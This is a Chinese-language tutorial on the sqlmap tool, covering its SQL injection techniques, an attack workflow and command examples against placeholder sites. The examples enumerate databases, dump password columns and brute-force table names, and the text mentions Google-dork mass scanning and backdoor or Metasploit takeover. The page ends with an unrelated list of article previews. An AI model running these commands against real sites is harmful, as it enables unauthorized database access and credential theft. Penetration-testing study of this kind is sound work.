sqlmap基础知识
一、sqlmap简介
sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接管数据库服务器的过程。
官网:
sqlmap.org
核心功能
- 漏洞检测
- 漏洞利用
学习关键点
- 基于sqlmap进行sql注入漏洞的检测,注入利用和攻击
- 基于sqlmap进行高权限情况下的文件读写
- 基于sqlmap进行高权限情况下的联合msf实现远程主机上线
sqlmap支持的数据库类型
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,MySQL,SAP MaxDB,Informix,MariaDB,MemSQL,TiDB,CockroachDB,HSQLDB,H2,MonetDB,Apache Derby,Amazon Redshift,Vertica,Mckoi,Presto,Altibase,MimerSQL,CrateDB,Greenplum,Drizzle,Apache ApacheApache Xerite,Cubrid,InterSystems Cache,IRIS,eXtremeDB,FrontBase,RaimaDatabase Manager,YugabyteDB,ClickHouse和Virtuoso数据库管理系统。
主要是支持关系型数据库,不支持NoSQL
支持六种SQL注入技术
- 基于布尔的盲注
- 基于时间的盲注
- 基于错误的盲注
- 基于UNION查询
- 堆栈查询
- 带外查询
sqlmap支持数据库直连
- 通过提供DBMS凭证、IP地址、端口和数据库名称,支持直接连接到数据库,而无需通过SQL注入
- DBMS:
- DB database,M:Management,S:System
- 像mysql、oracle都是数据库管理系统
sqlmap的特性
- 自动识别密码哈希格式,并支持使用基于字典的攻击来破解他们【暴力破解】
sqlmap的代理功能
- 通过设置代理,可以实现控制发包评率,防止速度太快被加入黑名单
- 在代理中可以加载一些脚本,通过脚本可以实现对某个例如预编码,以此来绕过服务端的一些防注入机制,例如绕过敏感字符过滤
二、使用sqlmap的流程
第一步:判断目标网站是否存在漏洞和数据库类型【mysql、oracle、db2....】
第二步:判断用户权限类型【检测是否为高权限用户】
如果为高权限用户,那么不需要再进行数据库猜解,因为可以直接进行读写操作,也就是可以直接写入后门程序,通过程序可以直接获取目标主机的控制权
注意:不是说高权限用户就一定可以进行写操作
第三步:找库名
第四步:找表名
第五步:找字段
第六步:找数据
注意:进行sql注入的核心目的
目的1:获取数据
目的2:获取服务器的控制权
注意:
用sqlmap进行注入的时候,有可能结果是不准确的,例如扫描发现没有漏洞 或者 本来是管理员权限,但是扫描结果提示是普通权限
如果出现这种情况,就需要手动调整注入参数,或者进行手工注入
三、sqlmap的常用参数
3.1 sqlmap对指定目标进行检测
方法1:-u 目url
格式:sqlmap -u "http://www.php001.com/index.php?id=1"
注意:这种方式进行测试的时候,服务端收到的客户端信息 (UA refer ip) 都是客户端自己的
补充:sqlmap -u "网址" 得到的信息包括
结束以后会得到该网站的数据库、操作系统、服务器等版本信息
如果存在漏洞可以使用以下命令注出当前网站下所有的数据库名
sqlmap -u "网址" --dbs 注出指定数据库下的所有库名
sqlmap -u "网址" -D 数据库名 --tables 注出指定数据库指定表下所有列信息
sqlmap -u "网址" -D 数据库名 -T 表名 --columns 注出所有指定字段名
sqlmap -u "网址" -D 数据库名 -T 表名 -C 列名 --dump 显示数据在任意环节使用--dumps,可以将所有数据注出,如指定数据库使用,注出所有数据库下的所有表的所有字段信息
方法2:-r 从文本文件中读取HTTP请求作为sql注入探测的目标
格式:sqlmap -r test.txt(bp导出请求的数据文件)
使用场景:
1. 某些网站的页面必须先登录才能进行测试,那么就必须通过本方法,这是因为在请求数据包当中有当初登录网站时候的cookie\session信息
2. 某些网站限制客户端的来源: 来源域名、来源ip、这种情况下进行注入,也需要通过这种读取数据包的方式进行
指定数据包注入,从文件读取HTTP请求,GET和POST都可以,可以用-p传入注入的参数
sqlmap -r "burp.txt" -p "username" # -p 指定存在注入的参数
这里的txt文件就是完整的http请求包
可以使用 -p 指定参数,也可以在txt文件中使用*(星号)定位
方法3:-m从多行文本格式文件读取多个目标,对多个目标进行探测
格式:sqlmap -m test.txt(自写的url)
方法4:-l 从Burpsuite proxy或WebScarab proxy中读取http请求日志文件
格式: sqlmap -l test(bp导出文件)
方法5:-x 从sitemap.xml站点地图文件中读取目标探测。
方法6:-C 从配置文件sqlmap.conf中读取目标探测
sqlmap 结合 google 搜索特定url,进行批量扫描注入,这里需要利用google hack语法进行扫描
案例:sqlmap -g "inurl:\.php?id=1\""
sqlmap设置http请求方法
--method=get | post
案例1:基于post方式发送请求
sqlmap -u 'http://www.php001.com/index.php' --data="id=1"案例2:基于get方式发送请求
sqlmap -u 'http://www.php001.ocm/index.php?id=1'
sqlmap设置cookie头
--cookie
--cookie-del
--load-cookies
--drop-sel-cookie
3.2 注入案例
1. GET 参数注入
sqlmap -u 'http://www.php001.com/index.php?id=1'
2. POST 参数注入
sqlmap -u 'http://www.php001.com/index.php' --data="id=1"
3. cookie 注入(level>=2时才会检测cookie)
sqlmap -u "http://www.php001.com/index.php?id=1" --level 2
4. user-agent注入
sqlmap -u "http://www.php001.com/index.php?id=1" --level 3
5. referer注入
sqlmap -u "http://www.php001.com/index.php?id=1" --level 3
6. host注入
sqlmap -u "http://www.php001.com/index.php?id=1" --level 5
7. 延时注入
当防火墙对请求速度做了限制,在每个HTTP请求之间延迟10秒
sqlmap -u "http://www.php001.com/index.php?id=1" --delay=10
8. 伪静态注入
sqpmap -u http://victim.com/id/666*.html --dbs # 在html扩展名前加个'*"
3.3 获取数据库信息
1. 查看数据库
sqlmap -u "http://www.php001.com/index.php?id=1" --dbs --batch
参数
--dbs: 显示所有的数据库的库名
--batch: 避免用户交互
2. 查看数据库里面的表
sqlmap -u "http://www.php001.com/index.php?id=1" --D security --tables --batch
参数:
--D security: 指定查看这个 库中的所有表
--tables: 指定显示表名
--batch: 避免用户交互
3. 查看数据库表里面的列/字段
sqlmap -u "http://www.php001.com/index.php?id=1" --D security --T users --columns --batch
参数:
--D security: 指定查看这个 库中的表
--T users: 指定查看user表中的所有的字段名
--columns: 显示表中的字段名
--batch: 避免用户交互
4. 查看数据库列里面的具体的值
sqlmap -u "http://www.php001.com/index.php?id=1" --D security --T users -C password --dump --batch
参数
--D security: 指定查看这个库中的表
--T users: 指定查看user表中的所以的字段名
-C password: 显示 password 字段中的数据
--dump: 显示数据
--batch: 避免用户交互
3.4 暴力破解
使用条件/背景
1. MySQL数据库版本小于5.0,没有information_schema表
2. Microsoft Access数据库
3. 当前用户没有权限读取系统中保存的数据
暴力破解中破解表名的文件位于common-tables.txt 中,同理破解列名的文件位于common-columns.txt 中
1. 暴力破解表名
sqlmap -u "http://www.php001.com/index.php?id=1" -D security --common-tables --batch
2. 暴力破解列名
sqlmap -u "http://www.php001.com/index.php?id=1" -D security -T users --common-columns --batch
相关文章:
sqlmap基础知识
一、sqlmap简介 sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接管数据库服务器的过程。 官网: sqlmap.org 核心功能 漏洞检测漏洞利用 学习关键点 基于sqlmap进行sql注入漏洞的检测,注入利用和攻击基于sqlmap进…...
读《C Primer Plus》
1、汇编语言是为特殊的中央处理单元设计的一系列内部指令,使用助记符来表示;不同的CPU系列使用不同的汇编语言。 2、C语言充分利用计算机优势,使它具有汇编语言才有的微调控能力,可移植性极好。 3、C语言可以访问硬件、操作内存…...
深入理解计算机系统 家庭作业 2.66
/* 前置条件:无符号整数右移不产生1 调用函数是为了可以查看整个过程,不影响结果. 思路是让x在右移的过程中,把最高位之前的位全部填满. 填满后的结果右移一位(即x的最高位变为0,其他为1),再异或x得到最高位 以此类推知道覆盖到32位. */ #include <stdio.h> #inclu…...
【服务端】node.js详细的配置
👨💻个人主页:开发者-曼亿点 👨💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨💻 本文由 曼亿点 原创 👨💻 收录于专栏:…...
二、CentOS基础配置(1.网络与包管理)
文章目录 二、基础配置操作1、网络管理(配置静态地址并进行ssh远程连接)(1.)静态地址配置(2.)IP配置注释(3.)配置SSH远程连接 2、包管理(1.)yum软件包管理器1…...
Golang基础-5
Go语言基础 介绍 基础 切片 切片声明 切片初始化 切片基础操作 多维切片 介绍 本文介绍Go语言中切片(slice)(切片声明、切片初始化、切片基础操作、多维切片)等相关知识。 基础 切片 切片(slice)是对数组的一个连续片段的引用,切…...
Mysql数据库:故障分析与配置优化
目录 前言 一、Mysql逻辑架构图 二、Mysql单实例常见故障 1、无法通过套接字连接到本地MySQL服务器 2、用户rootlocalhost访问被拒绝 3、远程连接数据库时连接很慢 4、无法打开以MYI结尾的索引文件 5、超出最大连接错误数量限制 6、连接过多 7、配置文件/etc/my.cnf权…...
常见的图像分析算法
图像分析算法是计算机视觉领域中的一个重要分支,它通过使用预先训练的人工智能模型从图像中提取和分析视觉信息。这些算法可以应用于多种场景,如物体识别、图像分类、图像增强、缺陷检测等。北京木奇移动技术有限公司,专业的软件外包开发公司…...
朵米3.5客服系统源码,附带系统搭建教程
朵米客服系统是一款全功能的客户服务解决方案,提供多渠道支持(如在线聊天、邮件、电话等),帮助企业建立与客户的实时互动。该系统具有智能分流功能,可以快速将客户请求分配给适当的客服人员,提高工作效率。…...
Python 踩坑记
前言 回归 Python 栈,相较 Go 的 Coding,Python 确实偏向复杂,看似编码方便快捷的背后,是越来越庞杂的细枝末节,稍不注意就是偏差。如果项目只是“能跑就行”,那大概率遍地是坑。开启踩坑记~ …...
搭建Spark单机版环境
在搭建Spark单机版环境的实战中,首先确保已经安装并配置好了JDK。然后,从群共享下载Spark安装包,并将其上传至目标主机的/opt目录。接着,解压Spark安装包至/usr/local目录,并配置Spark的环境变量,以确保系统…...
使用Flutter混淆技术保护应用隐私与数据安全
在移动应用开发中,保护应用代码安全至关重要。Flutter 提供了简单易用的混淆工具,帮助开发者在构建 release 版本应用时有效保护代码。本文将介绍如何在 Flutter 应用中使用混淆,并提供了相关的操作步骤和注意事项。 📝 摘要 本…...
ClickHouse初体验
1.clickHouse是啥? ClickHouse 是俄罗斯的 Yandex 于 2016 年开源的列式存储数据库(DBMS),使用 C语言编写,主要用于在线分析处理查询(OLAP),能够使用SQL查询实时生成分析数据报告 2.clickHouse的特点 2.1列式存储 对于列的聚合&…...
在k8s中部署高可用程序实践和资源治理
在k8s中部署高可用程序实践 1. 多副本部署1.1. 副本数量1.2. 更新策略1.3. 跨节点的统一副本分布1.4. 优先级1.5. 停止容器中的进程1.6. 预留资源 2. 探针2.1. 活性探针(liveness probes)2.2. 就绪探针(Readiness probe)2.3. 启动…...
WebView的使用与后退键处理-嵌入小程序或者 H5 页面
在使用 WebView 嵌入小程序或者 H5 页面时,通常会涉及到处理后退键的操作。在 Android 平台上,可以通过 WebView 的相关方法来实现后退键的处理。你可以按照以下步骤来实现: 在 Activity 或 Fragment 中找到 WebView 控件,并为其…...
【攻防世界】file_include (PHP伪协议+过滤器)
打开题目环境: 进行PHP代码审计,发现这是一个文件包含漏洞。 我们尝试利用PHP伪协议中的 php://filter来读取 check.php 中的内容。 构造payload 并提交: 发现payload被过滤掉了,我们就需要尝试使用不同的转换器。 PHP各类转换…...
Linux 内核中PHY子系统(网络):PHY驱动
一. 简介 PHY 子系统就是用于 PHY 设备相关内容的,分为 PHY 设备和 PHY 驱动,和 platform 总线一样,PHY 子系统也是一个设备、总线和驱动模型。 前面一篇文章学习了 PHY子系统中的 PHY设备。文章如下: Linux 内核中PHY子系统(网…...
【六 (1)机器学习-机器学习算法简介】
目录 文章导航一、机器学习二、基于学习方式的分类三、监督学习常见类型四、无监督学习常见类型五、强化学习常见分类 文章导航 【一 简明数据分析进阶路径介绍(文章导航)】 一、机器学习 机器学习是一门多领域交叉学科,涉及概率论、统计学…...
TCP服务端主动向客户端发送数据
C TCP 服务端和客户端通信的例子 在此基础上,要修改服务端代码,使其能够每秒向客户端发送当前时间,你需要添加一个循环,每次循环发送当前时间给客户端。同时,你需要在客户端代码中添加接收服务端发送的数据的逻辑。 …...
ObjectiveC-03-XCode的使用和基础数据类型
本节做为Objective-C的入门课程,笔者会从零基础开始介绍这种程序设计语言的各个方面。 术语 ObjeC:Objective-C的简称,因为完整的名称过长,后续会经缩写来代替;项目/工程:也称工程,指的是一个A…...
YOLOv9改进策略 :主干优化 | 无需TokenMixer也能达成SOTA性能的极简ViT架构 | CVPR2023 RIFormer
💡💡💡本文改进内容: token mixer被验证能够大幅度提升性能,但典型的token mixer为自注意力机制,推理耗时长,计算代价大,而RIFormers是无需TokenMixer也能达成SOTA性能的极简ViT架构 ,在保证性能的同时足够轻量化。 💡💡💡RIFormerBlock引入到YOLOv9,多个数…...
원클릭으로 주류 전자상거래 플랫폼 상품 상세 데이터 수집 및 접속 시연 예제 (한국어판)
클릭 한 번으로 전자상거래 플랫폼 데이터를 캡처하는 것은 일반적으로 웹 페이지에서 정보를 자동으로 추출 할 수있는 네트워크 파충류 기술과 관련됩니다.그러나 모든 형태의 데이터 수집은 해당 웹 사이트의 사용 약관 및 개인 정보 보호 정책 및 현지 법률 및 규정을 준수…...
2024年github开源top100中文
2024年github开源top100中文 动动美丽的小指头点个赞呗,感谢啦!💕💕💕😘😘😘 本文由Butterfly一键发布工具发布 语言star项目名称描述Python45670xai-org/grok-1Grok开源发布Ruby260…...
回收站删除的文件在哪里?专业恢复方法分享(最新版)
“我很想知道我从回收站删除的文件被保存在哪里了呢?我刚刚不小心清空了回收站,现在想将它们恢复,应该怎么操作呢?谁能教教我怎么从回收站恢复文件?” 回收站,作为Windows操作系统中的一个重要组件…...
什么是工时管理软件?
简而言之,工时管理软件是一种可以帮助管理者跟踪企业员工在项目和任务上花费的时间的软件。然而,工时管理软件不仅是一种收集信息的工具,它还是一种解决方案,使企业能够处理和优化不同的流程和活动,例如工资单、项目预…...
一文解析智慧城市,人工智能技术将成“智”理主要手段
长期以来,有关智慧城市的讨论主要围绕在技术进步方面,如自动化、人工智能、数据的公开以及将更多的传感器嵌入城市以使其更加智能化。实际上,智慧城市是一个关于未来的设想,其重要原因在于城市中存在各种基础设施、政治、地理、财…...
SQLBolt,一个练习SQL的宝藏网站
知乎上有人问学SQL有什么好的网站,这可太多了。 我之前学习SQL买了本SQL学习指南,把语法从头到尾看了个遍,但仅仅是心里有数的程度,后来进公司大量的写代码跑数,才算真真摸透了SQL,知道怎么调优才能最大化…...
TikTok防关联引流系统:全球多账号运营的终极解决方案
tiktok防关联引流系统介绍,tiktok防关联系统是基于tiktok生态研发的效率工具,帮你快速实现tiktok全球多账号运营,系统配备了性能强劲的安卓,防关联智能终端,可一建创建全球多国手机环境,完美满足各类app软件…...
卷积神经网络(CNN)的数学原理解析
文章目录 前言 1、介绍 2、数字图像的数据结构 3、卷积 4、Valid 和 Same 卷积 5、步幅卷积 6、过渡到三维 7、卷积层 8、连接剪枝和参数共享 9、卷积反向传播 10、池化层 11、池化层反向传播 前言 本篇主要分享卷积神经网络(CNN)的数学原理解析…...
2024年华为OD机试真题-亲子游戏-Java-OD统一考试(C卷)
题目描述: 宝宝和妈妈参加亲子游戏,在一个二维矩阵(N*N)的格子地图上,宝宝和妈妈抽签决定各自的位置,地图上每个格子有不同的糖果数量,部分格子有障碍物。 游戏规则是妈妈必须在最短的时间(每个单位时间只能走一步)到达宝宝的位置,路上的所有糖果都可以拿走,不能走障…...
信息系统开发案例/seo培训公司
题目描述 给定一个大小为 n 的数组,找到其中的多数元素。多数元素是指在数组中出现次数 大于 ⌊ n/2 ⌋ 的元素。 你可以假设数组是非空的,并且给定的数组总是存在多数元素。 示例 1: 输入:[3,2,3] 输出:3 示例 2&…...
工作是工作/外汇seo公司
专栏目录: 《重学Java高并发》Sempahore的使用场景与常见误区 《重学Java高并发》手写一个生产者消费者线程模型 《重学Java高并发》你管这“破玩意儿”叫锁 学习的主要目的是知识储备,最终运用在生产实践中,助力工作,同样对于多线…...
静态网页做的网站怎么发到网上/现在什么网络推广好
题目描述 一天,CC买了N个容量可以认为是无限大的瓶子,开始时每个瓶子里有1升水。接着~~CC发现瓶子实在太多了,于是他决定保留不超过K个瓶子。每次他选择两个当前含水量相同的瓶子,把一个瓶子的水全部倒进另一个里,然后…...
广告创意设计说明/seo优化便宜
1 JavaScript变量作用域 1.1 函数作用域 没有块作用域:即作用域不是以{}包围的,其作用域完成由函数来决定,因而if /for等语句中的花括号不是独立的作用域。 如前述,JS的在函数中定义的局部变量只对这个函数内部可见,称…...
做网站服务器租一年多少钱/石家庄seo公司
背景说明 项目中使用jQuery DataTables插件来实现分页表格,但是默认的分页样式不能输入页码进行跳转,在页数非常多的时候使用很不方便,最主要的还是没有达到产品部门的设计要求,所以我需要寻找相应的解决方案。原始效果图目标效果…...
网站 个人 公司 区别/查关键词热度的网站
9月6日匆匆返回学校参加阿里和华为的面试和笔试。阿里直接一面杯具,华为杯具的提交错文件,肯定0分了。还得墙面。 这份题目是9月7日下午最后一批的上机题,应该是两天来笔试中难度最大的,第一天和第二天上午的题都比较简单…...